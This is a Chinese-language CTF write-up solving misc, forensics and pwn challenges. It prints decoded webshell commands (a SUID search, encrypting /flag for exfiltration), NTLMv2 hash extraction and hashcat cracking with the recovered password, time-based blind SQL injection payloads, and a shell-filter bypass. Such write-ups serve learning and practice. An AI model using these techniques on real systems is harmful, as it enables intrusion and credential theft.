4070 0.0 0.2 17080 9532 ? Ss 10:04 0:00 /lib/systemd/systemd --user c3ngh 4071 0.0 0.0 169388 3856 ? S 10:04 0:00 (sd-pam) c3ngh 4078 0.0 0.1 8744 5504 tty1 S+ 10:04 0:00 -bash systemd+ 6216 0.0 0.1 16256 7924 ? Ss 10:36 0:00 /lib/systemd/systemd-networkd root 6586 6.0 1.5 2368452 60300 ? Ssl 10:39 8:25 /xp/panel/app root 6587 0.0 0.1 578348 7272 ? Ssl 10:39 0:00 /xp/tasks/xp-tasks root 6665 0.0 0.7 168680 28084 ? Ss 10:40 0:02 /xp/server/apache/bin/httpd -k start root 6848 0.0 0.2 193112 9928 ? Ss 10:40 0:01 php-fpm: master process (/xp/server/php/php-7.4/etc/php-fpm.conf) www 6849 0.0 0.5 193544 21528 ? S 10:40 0:00 php-fpm: pool www www 6850 0.0 0.5 193544 21224 ? S 10:40 0:00 php-fpm: pool www www 9492 0.1 0.2 1587116 11088 ? Sl 11:02 0:12 /xp/server/apache/bin/httpd -k start www 9493 0.2 0.2 1718268 11820 ? Sl 11:02 0:14 /xp/server/apache/bin/httpd -k start www 9494 0.1 0.2 1587116 11532 ? Sl 11:02 0:12 /xp/server/apache/bin/httpd -k start www 9856 0.1 0.2 1587116 10724 ? Sl 11:06 0:11 /xp/server/apache/bin/httpd -k start root 10417 0.0 1.0 475504 42540 ? Ssl 11:17 0:02 /usr/libexec/fwupd/fwupd root 10418 0.4 0.0 0 0 ? I 11:17 0:25 [kworker/0:1-events] root 10444 0.0 0.2 239628 8660 ? Ssl 11:18 0:00 /usr/libexec/upowerd root 10470 0.0 0.0 81388 856 ? Ss 11:18 0:00 gpg-agent --homedir /var/lib/fwupd/gnupg --use-standard-socket --daemon root 10935 0.0 0.0 0 0 ? I 11:31 0:01 [kworker/u256:2-events_power_efficient] root 12409 0.2 0.0 0 0 ? I 12:05 0:09 [kworker/1:0-events] root 12410 0.0 0.0 0 0 ? I 12:05 0:00 [kworker/0:0-events] root 13233 0.0 0.0 0 0 ? I 12:30 0:00 [kworker/u256:0-events_power_efficient] root 13818 0.0 0.0 0 0 ? I 12:48 0:00 [kworker/1:1] root 13820 0.0 0.0 0 0 ? I 12:48 0:00 [kworker/u256:3-events_power_efficient] www 14312 0.0 0.0 7316 3444 ? R 12:58 0:00 ps -aux
过于墨迹了
shell(18).php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 cd /xp/www/week2/uploads/ ;ls /bin boot cdrom dev etc flag home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv sys tmp usr var xp
shell(21).php
1 cd /xp/www/week2/uploads/ ;cd /
shell(24).php
1 2 3 4 5 $cmd ="Y2QgLyA7ZmluZCAvIC1wZXJtIC00MDAwIC10eXBlIGYgMj4vZGV2L251bGw=" ;$cmd =base64_decode ($cmd );$path ="Lw==" ;$path =base64_decode ($path );main ($cmd ,$path );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 cd / ;find / -perm -4000 -type f 2>/dev/null/snap/snapd/21759/usr/lib/snapd/snap-confine /snap/core20/2318/usr/bin/chfn /snap/core20/2318/usr/bin/chsh /snap/core20/2318/usr/bin/gpasswd /snap/core20/2318/usr/bin/mount /snap/core20/2318/usr/bin/newgrp /snap/core20/2318/usr/bin/passwd /snap/core20/2318/usr/bin/su /snap/core20/2318/usr/bin/sudo /snap/core20/2318/usr/bin/umount /snap/core20/2318/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core20/2318/usr/lib/openssh/ssh-keysign /snap/core22/2045/usr/bin/chfn /snap/core22/2045/usr/bin/chsh /snap/core22/2045/usr/bin/gpasswd /snap/core22/2045/usr/bin/mount /snap/core22/2045/usr/bin/newgrp /snap/core22/2045/usr/bin/passwd /snap/core22/2045/usr/bin/su /snap/core22/2045/usr/bin/sudo /snap/core22/2045/usr/bin/umount /snap/core22/2045/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core22/2045/usr/lib/openssh/ssh-keysign /snap/core22/2045/usr/libexec/polkit-agent-helper-1 /usr/bin/mount /usr/bin/sudo /usr/bin/openssl /usr/bin/su /usr/bin/fusermount3 /usr/bin/passwd /usr/bin/chfn /usr/bin/gpasswd /usr/bin/umount /usr/bin/newgrp /usr/bin/pkexec /usr/bin/chsh /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/snapd/snap-confine /usr/lib/openssh/ssh-keysign /usr/libexec/polkit-agent-helper-1
看到snap天生应激%%。看样子是想SUID提权了(并没有)。
shell(27).php
1 cd / ;openssl enc -des3 -salt -k W3lc0me2m1sc -in /flag -out /xp/www/week2/uploads/flag_decrypted.zip
他喵的早知道从后往前看了。。。
本地执行:
1 openssl enc -d -des3 -k W3lc0me2m1sc -in flag_decrypted.zip -out flag.zip
1 2 3 4 5 6 7 8 (base) ➜ [Week2] 布豪有黑客(二) unzip flag.zip Archive: flag.zip End-of-central-directory signature not found. Either this file is not a zipfile, or it constitutes one disk of a multi-part archive. In the latter case the central directory and zipfile comment will be found on the last disk(s) of this archive. unzip: cannot find zipfile directory in one of flag.zip or flag.zip.zip, and cannot find flag.zip.ZIP, period.
嗯????
1 2 3 4 (base) ➜ [Week2] 布豪有黑客(二) file flag.zip flag.zip: ASCII text, with no line terminators (base) ➜ [Week2] 布豪有黑客(二) cat flag.zip flag{1z_Beh1nd3r_Web5he1L_Ne7w0rk_Tr4ff1c}%
嗷嗷~~
[Week2] 破碎的拼图 查看hint,得知使用了steghide,macOS妹有啊,使用orb,我Chao!Arch Linux也妹有,好吧得blackarch。 我超!我Orb炸了,他喵的出师不利。
1 steghide extract -sf image.jpg -p ?CTF
获得flag_A.z02 flag_B.z01 flag_C.zip,统一重命名为flag_A.z02 flag_A.z01 flag_A.zip,点击zip解压,获得flag.doc。
1 flag{br0k3n_p1eces_r3a553mb13d_7h3_puzz13}
[Week2] 文化木的侦探委托(二) 文化木在解出了图片里的求助信号后,她的电脑突然开始自己动了起来,并又下载得到了一张图片,同时电脑上出现了两行字。 【表面无异,隐形涟漪里藏着求助的回声。】 【捕捉波纹,对比参差,真相会回应你。】 (注:flag内为可识别的明文,仅首个单词的首字母大写,以flag{}包裹)
用010Editor打开,发现:
1 tEXtComment Eh, you actually managed to find this place... Then let me give you a little more hint. If you truly understand the structure of a PNG file, do you know what a blind watermark is?
010Editor发现chunk[104]大小<200CH,chunk[105]>200CH,推测尾部附带了一张照片。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import sys, struct, zlib, osdef read_chunks (fn ): b = open (fn,'rb' ).read() if not b.startswith(b'\x89PNG\r\n\x1a\n' ): raise SystemExit("Not a PNG: " + fn) pos = 8 chunks = [] while pos + 8 <= len (b): length = struct.unpack(">I" , b[pos:pos+4 ])[0 ] ctype = b[pos+4 :pos+8 ] data = b[pos+8 :pos+8 +length] crc = struct.unpack(">I" , b[pos+8 +length:pos+8 +length+4 ])[0 ] if pos+8 +length+4 <= len (b) else None chunks.append((pos, length, ctype, data, crc)) pos = pos + 8 + length + 4 if ctype == b'IEND' : break return chunks def extract_ihdr (original_png ): chunks = read_chunks(original_png) for (pos,length,ctype,data,crc) in chunks: if ctype == b'IHDR' : if length != 13 : raise SystemExit("IHDR length unexpected: %d" % length) return data raise SystemExit("IHDR chunk not found in " + original_png) def write_chunk (f, ctype, data ): f.write(struct.pack(">I" , len (data))) f.write(ctype) f.write(data) crc = zlib.crc32(ctype + data) & 0xffffffff f.write(struct.pack(">I" , crc)) def rebuild (original_png, idat_bin, out_png ): ihdr = extract_ihdr(original_png) idat_data = open (idat_bin, 'rb' ).read() if len (idat_data) == 0 : raise SystemExit("Empty IDAT data file: " + idat_bin) with open (out_png, 'wb' ) as f: f.write(b'\x89PNG\r\n\x1a\n' ) write_chunk(f, b'IHDR' , ihdr) write_chunk(f, b'IDAT' , idat_data) write_chunk(f, b'IEND' , b'' ) print ("Wrote" , out_png, " (IHDR from" , original_png, ", IDAT from" , idat_bin, ")" ) if __name__ == "__main__" : if len (sys.argv) != 4 : print ("Usage: python3 rebuild_png_from_idat.py original.png idat_104.bin out.png" ) sys.exit(1 ) original_png = sys.argv[1 ] idat_bin = sys.argv[2 ] out_png = sys.argv[3 ] rebuild(original_png, idat_bin, out_png)
1 python bb.py Blind2.png idat_104.bin out.png
使用https://github.com/chishaxie/BlindWaterMark提取盲水印:
1 (base) ➜ BlindWaterMark git:(master) python bwmforpy3.py decode ../Blind2.png ../out.png aaaaa.png
我瞎了
[Week3] 布豪有黑客(三) c3的linux服务器暂时安全了…但c3的Windows呢?不仅有弱口令,flag所在的文件夹好像还被共享了…?
参考https://goodlunatic.github.io/posts/5422d65/#提取-ntlmv2-哈希值并破解smb协议
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 (base) ➜ [Week3] 布豪有黑客(三) python NTLMRawUnHide.py -i 布豪有黑客\(三\).pcapng /%( rockyou.txt -= Find NTLMv2 =- ,@@@@@@@@&e.py smb.hash /%&@@@@&, -= hashes w/ =- %@@@@@@@@@@@* (@@@@@@@@@@@( -= NTLMRawUnHide.py =- *@@@@@@@@@@@@@@@. &@@@@@@@@@@@@@@&. @@@@@@@@@@@@@@@@@@( ,@@@@@@@@@@@@@@@@@@@/ .%@@@@@@@@@@@@@@@@@@@@@ /@@@@@@@ (@@@@@@@( %@@@@@@&*/((. #( ,(@& ,%@@@@@@* @@@@@@@&,/(* , .,&@@@@@# @@@@@@@/*//, .,,,** .,, ... .#@@@@@@@(. /@@@@@@@@@@@& .@@@@@@@@@@@* .(&@@@%/. .. (@@& %@@. .@@@, /@@# @@@, %@& &@@&. @@@/ @@@# . %@@@( ,@@@# @@@( , *@@/ .@@@@@( #@% *@@%. &@@@@@@@@, /@@@. .@@@@@@@@@@@&. .*@@@@@@@@@@@/. .%@@@@%, /%@@@&(. Searching 布豪有黑客(三).pcapng for NTLMv2 hashes... Found NTLMSSP Message Type 1 : Negotiation Found NTLMSSP Message Type 2 : Challenge > Server Challenge : 91 e15fed933eff0c Found NTLMSSP Message Type 3 : Authentication > Domain : C3NGH--DESKTOP > Username : rockyou > Workstation : C3NGH--DESKTOP NTLMv2 Hash recovered: rockyou::C3NGH--DESKTOP:91 e15fed933eff0c:e20402e8a924e2de7c1e3fd3f949bc38:01010000000000001 df551630839dc011473b30c1fc1c20f000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300650072007600650072000300160046004c00410047002d00530065007200760065007200070008001df551630839dc0106000400020000000800300030000000000000000100000000200000a6cd8042becda35cc7967ee26857127fac305123020cefe31fcefbfd7ece32d50a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d00530045005200560045005200000000000000000000000000 (base) ➜ [Week3] 布豪有黑客(三) vim hash.txt (base) ➜ [Week3] 布豪有黑客(三) hashcat -m 5600 hash.txt rockyou.txt hashcat (v7.1.2 ) starting METAL API (Metal 370.63 .1 )ss. Please be patient.... ========================== * Device #01 : Apple M4 Pro, skipped OpenCL API (OpenCL 1.2 (Aug 2 2025 21 :16 :03 )) - Platform ==================================================================== * Device Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Minimum salt length supported by kernel: 0 Maximum salt length supported by kernel: 256 Hashes: 1 digests; 1 unique digests, 1 unique saltstient... Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Optimizers applied: * Zero-Byte * Not-Iterated * Single-Hash * Single-Salt ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits. Watchdog: Temperature abort trigger set to 100c Host memory allocated for this attack: 793 MB (18087 MB free)... Dictionary cache hit:lease be patient... * Filename..: rockyou.txt * Passwords.: 14344384 * Bytes.....: 139921497 * Keyspace..: 14344384 ROCKYOU::C3NGH--DESKTOP:91e15fed933eff0c:e20402e8a924e2de7c1e3fd3f949bc38:01010000000000001df551630839dc011473b30c1fc1c20f000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300650072007600650072000300160046004c00410047002d00530065007200760065007200070008001df551630839dc0106000400020000000800300030000000000000000100000000200000a6cd8042becda35cc7967ee26857127fac305123020cefe31fcefbfd7ece32d50a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d00530045005200560045005200000000000000000000000000:poohkitty13 Session..........: hashcat Status...........: Cracked Hash.Mode........: 5600 (NetNTLMv2) Hash.Target......: ROCKYOU::C3NGH--DESKTOP:91e15fed933eff0c:e20402e8a9...000000 Time.Started.....: Sat Oct 11 18:48:31 2025 (0 secs) Time.Estimated...: Sat Oct 11 18:48:31 2025 (0 secs) Kernel.Feature...: Pure Kernel (password length 0-256 bytes) Guess.Base.......: File (rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed. Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 5242880/14344384 (36.55%) Rejected.........: 0/5242880 (0.00%) Restore.Point....: 4194304/14344384 (29.24%) Restore.Sub. Candidate.Engine.: Device Generator Candidates. Hardware.Mon.SMC.: Fan0: 0%, Fan1: 0% Hardware.Mon. Started: Sat Oct 11 18:48:30 2025 Stopped: Sat Oct 11 18:48:32 2025
密码为poohkitty13
好,导出flag.txt
1 flag{D0_U_L1k3_1z_NTLMv2_4nd_r0ckYouuuuu~}
总结:这题做的时候并不顺利,那个hash.txt搞了半天,果然工具得好。
[Week3] 文化木的侦探委托(三) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 (base) ➜ [Week3] 文化木的侦探委托(三) cp 175248_损坏了的压缩包.zip damaged.zip (base) ➜ [Week3] 文化木的侦探委托(三) file damaged.zip damaged.zip: Zip archive data, at least v2.0 to extract, compression method=deflate (base) ➜ [Week3] 文化木的侦探委托(三) unzip -v damaged.zip Archive: damaged.zip Length Method Size Cmpr Date Time CRC-32 Name -------- ------ ------- ---- ---------- ----- -------- ---- 13643 Stored 10928 20% 10-06-2025 01:03 3559b49a -------- ------- --- ------- 13643 10928 20% 1 file note: didn't find end-of-central-dir signature at end of central dir. (base) ➜ [Week3] 文化木的侦探委托(三) unzip damaged.zip Archive: damaged.zip : mismatching "local" filename (flag.docx), continuing with "central" filename version mapname: conversion of failed note: didn' t find end-of-central-dir signature at end of central dir . (please check that you have transferred or created the zipfile in the appropriate BINARY mode and that you have compiled UnZip properly) (base) ➜ [Week3] 文化木的侦探委托(三) zip -FF damaged.zip --out repaired.zip Fix archive (-FF) - salvage what can Found end record (EOCDR) - says expect single disk archive Scanning for entries... copying: flag.docx (10928 bytes) Central Directory found... no local entry: EOCDR found ( 1 11058)... (base) ➜ [Week3] 文化木的侦探委托(三) ls 175248_损坏了的压缩包.zip damaged.zip repaired.zip
[Week4] 布豪有黑客(四) Time-based SQL Blind Injection
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import refrom datetime import datetimedef find_slow_sql_queries (log_filepath, delay_threshold_seconds=2 ): """ 分析日志文件,找出响应时间超过阈值的SQL查询(慢响应)。 Args: log_filepath (str): access.log文件的路径。 delay_threshold_seconds (int): 定义慢响应的秒数阈值。 """ log_pattern = re.compile ( r"\[(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2})\]" r".*?Query: (SELECT.*?RANDOMBLOB.*)" ) parsed_queries = [] print (f"[*] 正在读取日志文件: {log_filepath} " ) try : with open (log_filepath, 'r' , encoding='utf-8' ) as f: for line in f: match = log_pattern.search(line) if match : timestamp_str, query = match .groups() timestamp = datetime.strptime(timestamp_str, "%Y-%m-%d %H:%M:%S" ) parsed_queries.append({ "timestamp" : timestamp, "query" : query.strip().rstrip('|' ).strip() }) except FileNotFoundError: print (f"[!] 错误: 文件 '{log_filepath} ' 未找到。" ) return except Exception as e: print (f"[!] 读取或解析文件时发生错误: {e} " ) return print (f"[*] 共找到 {len (parsed_queries)} 条攻击查询。" ) print (f"[*] 正在分析延迟超过 {delay_threshold_seconds} 秒的慢响应...\n" ) print ("-" * 50 ) slow_response_count = 0 for i in range (len (parsed_queries) - 1 ): current_log = parsed_queries[i] next_log = parsed_queries[i+1 ] time_difference = (next_log["timestamp" ] - current_log["timestamp" ]).total_seconds() if time_difference >= delay_threshold_seconds: slow_response_count += 1 print (f"[*] 慢响应 #{slow_response_count} " ) print (f" 时间: {current_log['timestamp' ]} " ) print (f" 延迟: {time_difference:.0 f} 秒" ) print (f" 查询: {current_log['query' ]} \n" ) print ("-" * 50 ) print (f"\n[+] 分析完成。共找到 {slow_response_count} 个慢响应。" ) if __name__ == "__main__" : LOG_FILE = 'access.log' DELAY_THRESHOLD = 2 find_slow_sql_queries(LOG_FILE, DELAY_THRESHOLD)
输出(部分):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 [*] 正在读取日志文件: access.log [*] 共找到 211 条攻击查询。 [*] 正在分析延迟超过 2 秒的慢响应... -------------------------------------------------- [*] 慢响应 时间: 2025-10-01 13:42:30 延迟: 3 秒 查询: SELECT * FROM articles WHERE author = 'admin' AND CASE WHEN (SELECT UNICODE(SUBSTR(value, 1, 1)) FROM secrets WHERE key='flag' LIMIT 1) >= 70 THEN LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(50000000)))) ELSE 1 END-- -' | IP: 127.0.0.1 | UA: python-requests/2.32.3 [*] 慢响应 #2 时间: 2025-10-01 13:42:33 延迟: 2 秒 查询: SELECT * FROM articles WHERE author = ' admin' AND CASE WHEN (SELECT LENGTH(value) FROM secrets WHERE key=' flag' LIMIT 1) >= 25 THEN LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(50000000)))) ELSE 1 END-- -' | IP: 127.0.0.1 | UA: python-requests/2.32.3[*] 慢响应 时间: 2025-10-01 13:42:35 延迟: 3 秒 查询: SELECT * FROM articles WHERE author = 'admin' AND CASE WHEN (SELECT LENGTH(value) FROM secrets WHERE key='flag' LIMIT 1) >= 31 THEN LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(50000000)))) ELSE 1 END-- -' | IP: 127.0.0.1 | UA: python-requests/2.32.3 [*] 慢响应 #4 时间: 2025-10-01 13:42:38 延迟: 2 秒 查询: SELECT * FROM articles WHERE author = ' admin' AND CASE WHEN (SELECT UNICODE(SUBSTR(value, 1, 1)) FROM secrets WHERE key=' flag' LIMIT 1) >= 79 THEN LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(50000000)))) ELSE 1 END-- -' | IP: 127.0.0.1 | UA: python-requests/2.32.3[*] 慢响应 时间: 2025-10-01 13:42:40 延迟: 2 秒 查询: SELECT * FROM articles WHERE author = 'admin' AND CASE WHEN (SELECT UNICODE(SUBSTR(value, 1, 1)) FROM secrets WHERE key='flag' LIMIT 1) >= 91 THEN LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(50000000)))) ELSE 1 END-- -' | IP: 127.0.0.1 | UA: python-requests/2.32.3 [*] 慢响应 #6 时间: 2025-10-01 13:42:42 延迟: 3 秒 查询: SELECT * FROM articles WHERE author = ' admin' AND CASE WHEN (SELECT UNICODE(SUBSTR(value, 1, 1)) FROM secrets WHERE key=' flag' LIMIT 1) >= 97 THEN LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(50000000)))) ELSE 1 END-- -' | IP: 127.0.0.1 | UA: python-requests/2.32.3
把输出丢给Gemini,其实再写个py或者肉眼瞪一下也行,但时间上不划算。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 我们逐个分析慢响应日志,还原被窃取的数据。攻击者首先探测了flag的长度,然后逐个字符进行猜测。 确定Flag长度 慢响应 #2: (SELECT LENGTH(value) FROM secrets WHERE key='flag' LIMIT 1) >= 25 为 真。 慢响应 #3: (SELECT LENGTH(value) FROM secrets WHERE key='flag' LIMIT 1) >= 31 为 真。 (日志中没有 ... >= 32 的慢响应,可以推断该查询为假) 结论:Flag 的长度为 31 个字符。 逐字符分析 通过分析每个SUBSTR(value, N, 1)的测试条件,我们可以确定第N个字符的ASCII码或十六进制值。攻击者使用了二分法或类似的搜索算法来快速定位每个字符的值。我们取每个位置最后一个为“真”的条件作为该字符的值。 字符 1: UNICODE(...) >= 102 为真,... >= 103 为假。ASCII码为 102,即 'f'。 字符 2: HEX(...) >= '6C' 为真,... >= '6D' 为假。十六进制为 0x6C,即 'l'。 字符 3: UNICODE(...) >= 97 为真,... >= 98 为假。ASCII码为 97,即 'a'。 字符 4: ... >= CHAR(103) 为真,... >= CHAR(104) 为假。ASCII码为 103,即 'g'。 字符 5: UNICODE(...) + 10 >= 133 (即 UNICODE(...) >= 123) 为真,... >= 124 为假。ASCII码为 123,即 '{'。 字符 6: UNICODE(...) >= 56 为真,... >= 57 为假。ASCII码为 56,即 '8'。 字符 7: HEX(...) >= '31' 为真,... >= '32' 为假。十六进制为 0x31,即 '1'。 字符 8: UNICODE(...) >= 49 为真,... >= 50 为假。ASCII码为 49,即 '1'。 字符 9: UNICODE(...) >= 110 为真,... >= 111 为假。ASCII码为 110,即 'n'。 字符 10: UNICODE(...) >= 100 为真,... >= 101 为假。ASCII码为 100,即 'd'。 字符 11: HEX(...) >= '5F' 为真,... >= '60' 为假。十六进制为 0x5F,即 '_'。 字符 12: UNICODE(...) >= 53 为真,... >= 54 为假。ASCII码为 53,即 '5'。 字符 13: UNICODE(...) >= 113 为真,... >= 114 为假。ASCII码为 113,即 'q'。 字符 14: UNICODE(...) >= 49 为真,... >= 50 为假。ASCII码为 49,即 '1'。 字符 15: 4 + UNICODE(...) >= 99 (即 UNICODE(...) >= 95) 为真,... >= 96 为假。ASCII码为 95,即 '_'。 字符 16: UNICODE(...) >= 49 为真,... >= 50 为假。ASCII码为 49,即 '1'。 字符 17: UNICODE(...) >= 110 为真,... >= 111 为假。ASCII码为 110,即 'n'。 字符 18: UNICODE(...) >= 106 为真,... >= 107 为假。ASCII码为 106,即 'j'。 字符 19: UNICODE(...) >= 51 为真,... >= 52 为假。ASCII码为 51,即 '3'。 字符 20: UNICODE(...) >= 99 为真,... >= 100 为假。ASCII码为 99,即 'c'。 字符 21: UNICODE(...) >= 55 为真,... >= 56 为假。ASCII码为 55,即 '7'。 字符 22: HEX(...) >= '5F' 为真,... >= '60' 为假。十六进制为 0x5F,即 '_'。 字符 23: UNICODE(...) >= 52 为真,... >= 53 为假。ASCII码为 52,即 '4'。 字符 24: ... >= CHAR(110) 为真,... >= CHAR(111) 为假。ASCII码为 110,即 'n'。 字符 25: UNICODE(...) + 10 >= 62 (即 UNICODE(...) >= 52) 为真,... >= 53 为假。ASCII码为 52,即 '4'。 字符 26: UNICODE(...) >= 49 为真,... >= 50 为假。ASCII码为 49,即 '1'。 字符 27: HEX(...) >= '79' 为真,... >= '7A' 为假。十六进制为 0x79,即 'y'。 字符 28: UNICODE(...) >= 122 为真,... >= 123 为假。ASCII码为 122,即 'z'。 字符 29: UNICODE(...) >= 51 为真,... >= 52 为假。ASCII码为 51,即 '3'。 字符 30: UNICODE(...) >= 114 为真,... >= 115 为假。ASCII码为 114,即 'r'。 字符 31: HEX(...) >= '7D' 为真,... >= '7E' 为假。十六进制为 0x7D,即 '}'。 结论 将所有恢复的字符拼接起来,黑客获得的数据是: flag{811nd_5q1_1nj3c7_4n41yz3r}
pwn [Week1] ncncnc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 (base) ➜ [Week1] ncncnc nc challenge.ilovectf.cn 30158 Welcome to ?ctf ncncnc!!! There are three stages ahead, keep going according to the hints This is the first stage Use the 'cat hint' command to open the hint file, which contains the key to the second stage You can enter a command , or the key to proceed to the next stage cat hintEnter WoW to proceed to the second stage WoW You can enter a command , or the key to proceed to the next stage Welcome to the second stage. This time I've added cat and hint to the blacklist. Do you have another way to open the hint to get the key to the third stage? You can enter a command, or the key to proceed to the next stage /bin' /s'h ls 1 a bin dev flag hint lib lib64 od pwn cat flag flag{63278607-3607-4f2f-8b53-f3b3db880b5c}
关键就这行/bin'/s'h,这个shell没有环境变量,导致一度以为是个假的…
[Week1] count 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 from pwn import *import reimport sysimport timeHOST = "challenge.ilovectf.cn" PORT = 30208 TIMEOUT = 6 hex_add_re = re.compile (rb'0x([0-9A-Fa-f]+)\s*\+\s*0x([0-9A-Fa-f]+)\s*=\s*\?' ) mul_re = re.compile (rb'(?<![0-9A-Fa-f]x)(?<![0-9A-Fa-f]X)(\d+)\s*[xX]\s*(\d+)\s*=\s*\?' ) flag_pattern = re.compile (rb'flag\{[^}]{1,200}\}' , re.I) congrats_pattern = re.compile (rb'congrat' , re.I) ignore_phrase = re.compile (rb'favorite\s+flag' , re.I) def calc_hex_sum (a_hex_bytes, b_hex_bytes ): a = int (a_hex_bytes.decode(), 16 ) b = int (b_hex_bytes.decode(), 16 ) s = a + b result = "0x{:x}" .format (s).encode() log.info(f"calc_hex_sum: 0x{a_hex_bytes.decode()} + 0x{b_hex_bytes.decode()} = {result.decode()} " ) return result def main (): try : p = remote(HOST, PORT, timeout=TIMEOUT) except Exception as e: print (f"连接失败: {e} " ) sys.exit(1 ) buffer = b'' try : while True : try : chunk = p.recv(timeout=TIMEOUT) except EOFError: log.info("远程主机关闭连接 (EOF)." ) break except Exception: chunk = b'' if chunk: buffer += chunk sys.stdout.buffer.write(chunk) sys.stdout.buffer.flush() m_hex = hex_add_re.search(buffer) if m_hex: a_hex = m_hex.group(1 ) b_hex = m_hex.group(2 ) ans = calc_hex_sum(a_hex, b_hex) log.info(f"Hex question -> sending: {ans.decode()} " ) p.sendline(ans) buffer = buffer[m_hex.end():] continue m_mul = mul_re.search(buffer) if m_mul: a = m_mul.group(1 ).decode() b = m_mul.group(2 ).decode() val = int (a) * int (b) ans = str (val).encode() log.info(f"Detected multiplication {a} x{b} , sending: {ans.decode()} " ) p.sendline(ans) buffer = buffer[m_mul.end():] continue if flag_pattern.search(buffer): log.success("检测到 flag{...},切换到交互模式。" ) break if congrats_pattern.search(buffer) and not ignore_phrase.search(buffer): log.success("检测到 congrat(ulations) 类成功提示,切换到交互模式。" ) break if not chunk: time.sleep(0.05 ) if len (buffer) > 8192 : buffer = buffer[-2048 :] continue except KeyboardInterrupt: print ("\n用户中断(Ctrl+C)" ) finally : try : p.interactive() except Exception: try : p.close() except Exception: pass if __name__ == "__main__" : main()
1 2 3 4 Congratulations on completing all challenges [+] 检测到 congrat(ulations) 类成功提示,切换到交互模式。 [*] Switching to interactive mode flag{0e5a67f3-f0a5-4f68-a20e-351575821f78}[*] Got EOF while reading in interactive
[Week1] 危险的 gets 看一下字段(部分省略)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 (base) ➜ [Week1] 危险的 gets strings 184750_danger_gets /lib64/ld-linux-x86-64.so.2 __libc_start_main gets setvbuf stdout puts system stdin stderr printf libc.so.6 GLIBC_2.2.5 GLIBC_2.34 __gmon_start__ PTE1 H=P@@ /bin/sh plz input your name: hello, %s! you know ret addr do you know rop?do you know gets?:*3$" GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0 crt1.o __abi_tag _dl_relocate_static_pie __bss_start main setvbuf@GLIBC_2.2.5 __TMC_END__ _init stderr@GLIBC_2.2.5
1 2 (venv) root@iZbp1d5rltw6uhsn58zuoaZ:~/pwn 33: 00000000004011b6 26 FUNC GLOBAL DEFAULT 15 backdoor
backdoor 00000000004011b6
